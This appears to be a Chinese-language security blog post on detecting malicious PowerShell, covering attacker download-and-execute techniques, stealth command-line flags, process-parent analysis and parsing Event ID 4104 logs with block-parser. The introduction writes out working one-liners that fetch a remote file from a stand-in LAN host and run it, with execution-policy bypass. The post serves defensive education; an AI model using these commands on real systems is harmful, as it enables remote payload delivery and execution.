01
—
介绍
PowerShell在Windows操作系统中应用越来越广泛,在带来方便的同时,它还为攻击者提供了一套几乎前所未有的功能。PowerShell 可以实现几乎所有可以想象的恶意活动:权限提升、凭据盗窃、横向移动、数据破坏、持久性、数据泄露等等。恶意PowerShell 正在被广泛使用。通常攻击者会使用powershell做下载器,从远程服务器下载恶意ps脚本到受害机器,然后使用start- process、Invoke-Item或file将远程文件的内容写到到受害机器的内存中并从那里执行它。
例如:从远程下载1.txt文件保存在C:\Users\\AppData\Roaming路径下并执行
(New-Object Net.WebClient).downloadfile('http://192.168.1.7/1.txt',$env:Appdata+"\whoami.txt");Invoke-Item$env:Appdata"\whoami.txt"
当然上述例子,也可以换种方式来写,
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe-nop -Exec Bypass -Command (New-ObjectSystem.Net.WebClient).DownloadFile('http://192.168.1.7/1.txt',$env:Appdata+"\whoami.txt");Start-Process $env:APPDATA"\whoami.txt"
DownloadString()不下载文件到主机上,但它将远程文件的内容直接复制到受害机器的内存中。这种技术被广泛用于无文件攻击中。如下,1.txt中是whoami,通过powershell调用执行whoami。
另外,攻击者还会使用PowerShell中各种可用的参数选项来使操作尽可能隐蔽。以下是在攻击中广泛使用的参数
- WindowStyle hidden / -w hidden: 对用户隐藏程序窗口
-Exec Bypass: 绕过/忽略像Restricted这样限制PowerShell脚本运行的执行策略
-Command / -c: 从PowerShell终端执行任何命令
-EncodedCommand/ -e/ --enc: 将编码后的参数作为命令行传递
-Nop / -noprofile: 忽略Profile文件中的命令。
02
—
检测
观察PowerShell进程的父子关系
通常,当我们使用windows开始菜单或直接点击powershell文件运行PowerShell时,它会在进程Explorer .exe下启动,
但是在PowerShell攻击中,PowerShell脚本/命令是通过命令行进程启动的,因此在攻击中PowerShell进程的父进程是cmd.exe。当然有些正常环境也是使用cmd启动powershell,故需要结合cmd的父进程是否为恶意。
日志上
Microsoft-Windows-PowerShell - Operational.evtx记录了主机上的powershell历史执行命令。其中事件ID 4104(执行远程命令)中的 Scriptblock 文本通常包含执行操作的代码。
可以使用block-parser进行解析,下载地址:
https://github.com/matthewdunwoody/block-parser。
依赖库:lxml、python-evtx
使用方法:
`将所有powershell脚本解析到一个文件中``>python block-parser.py -a -foutput "Microsoft-Windows-PowerShell%4Operational.evtx"``将每个powershell脚本单独解析到一个文件中``>python block-parser.py -o output2 "Microsoft-Windows-PowerShell%4Operational.evtx"`